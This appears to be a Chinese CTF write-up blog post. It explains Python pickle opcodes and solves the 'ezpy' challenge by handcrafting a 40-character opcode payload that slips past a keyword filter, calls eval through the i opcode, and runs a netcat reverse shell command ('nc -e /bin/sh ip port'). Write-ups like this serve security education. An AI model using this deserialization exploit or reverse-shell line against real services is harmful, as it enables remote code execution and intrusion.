[pickle之手搓opcode]上海赛-ezpy

发布于 2024-08-22  1456 次阅读


ezpy

前置知识:如何手搓PVM中的opcode

利用下表中的操作符进行一系列的压栈弹栈操作:

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

相关概念网上都有,直接分析个例子
这是一个修改全局变量的demo,修改了对象s的name属性:

import pickle
class Secret:
    def __init__(self, name):
        self.name = name

s=Secret("S1nKk")
opcode=b"""c__main__\ns\n(S'name'\nS'Funny_M0nk3y'\ndb."""
pickle.loads(opcode)
print(s.name)

分析PVM栈空间:
首先c__main__\ns\n用操作符'c',从__main__模块中取出名为s的对象,即Secret类的对象,将此对象压栈

栈结构:[s对象]

然后(用操作符'(',压入一个MARK

栈结构:[s对象,MARK]

然后S'name'\n用操作符'S'实例化一个字符串对象'name',压栈

栈结构:[s对象,MARK,"name"]

S'Funny_M0nk3y'\n同理,压入字符串对象'Funny_M0nk3y'

栈结构:[s对象,MARK,"name","Funny_M0nk3y"]

然后d使用操作符'd',找到MARK上面的两个对象,即"name","Funny_M0nk3y",将MARK和它们两个弹出栈,并构造键值对{"name":"Funny_M0nk3y"},将此对象压栈

栈结构:[s对象,{"name":"Funny_M0nk3y"}]

然后b使用操作符'b',使用栈顶的键值对,对栈的第二个对象进行赋值,即将s对象的name属性设为"Funny_M0nk3y",同时{"name":"Funny_M0nk3y"}出栈

这样就完成了一次变量的修改。
image_mak

题解

源码:

import pickle
from flask import Flask, request

app = Flask(__name__)

def safe(s):
    list1 = ["proc", "os", "sys", "open", "\\", "'", '"']
    for i in list1:
        if i in s.lower():
            print("not safe:",i)
            return False
    return True

@app.post("/")
def loads():
    c = request.form.get("code")
    if safe(c[:40]):
        try:
            pickle.loads(c[:40].encode())
        except:
            pass
    if len(c) < 40:
        pickle.loads(c.encode())
        return "ok"
    return "no!"

if __name__ == "__main__":
    app.run("0.0.0.0", port=8080)

主要逻辑就是 对传入的c的前40个字符进行简单过滤,然后loads前40个字符。

由于这里用了encode(),要求给的c都是可见字符,并且对长度有要求,因此不能用脚本去生成序列化数据,只能手搓Opcode

payload:

c='(Veval(c[40::]        )\nibuiltins\neval\n.__import__("os").system("nc -e /bin/sh ip port")'

首先(压入一个MARK,再使用V压入字符串"eval(c[40::] )"
这里不能用S去压栈字符串,因为过滤了引号
然后用i引入builtins模块的eval函数对象,并用MARK之后的"eval(c[40::] )"构造元组,作为参数来执行eval
最后.结束opcode,通过控制eval括号里的空格数量,让有效opcode的长度正好为40
那么,执行的函数就是eval("eval(c[40::] )")
而已经赋值的c变量在第40个字符之后的内容,就是执行反弹shell命令的python语句"__import__("os").system("nc -e /bin/sh ip port")"

由于过滤了\,payload中的换行符直接用%0A就可以。
image_mak
成功反弹shell
image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24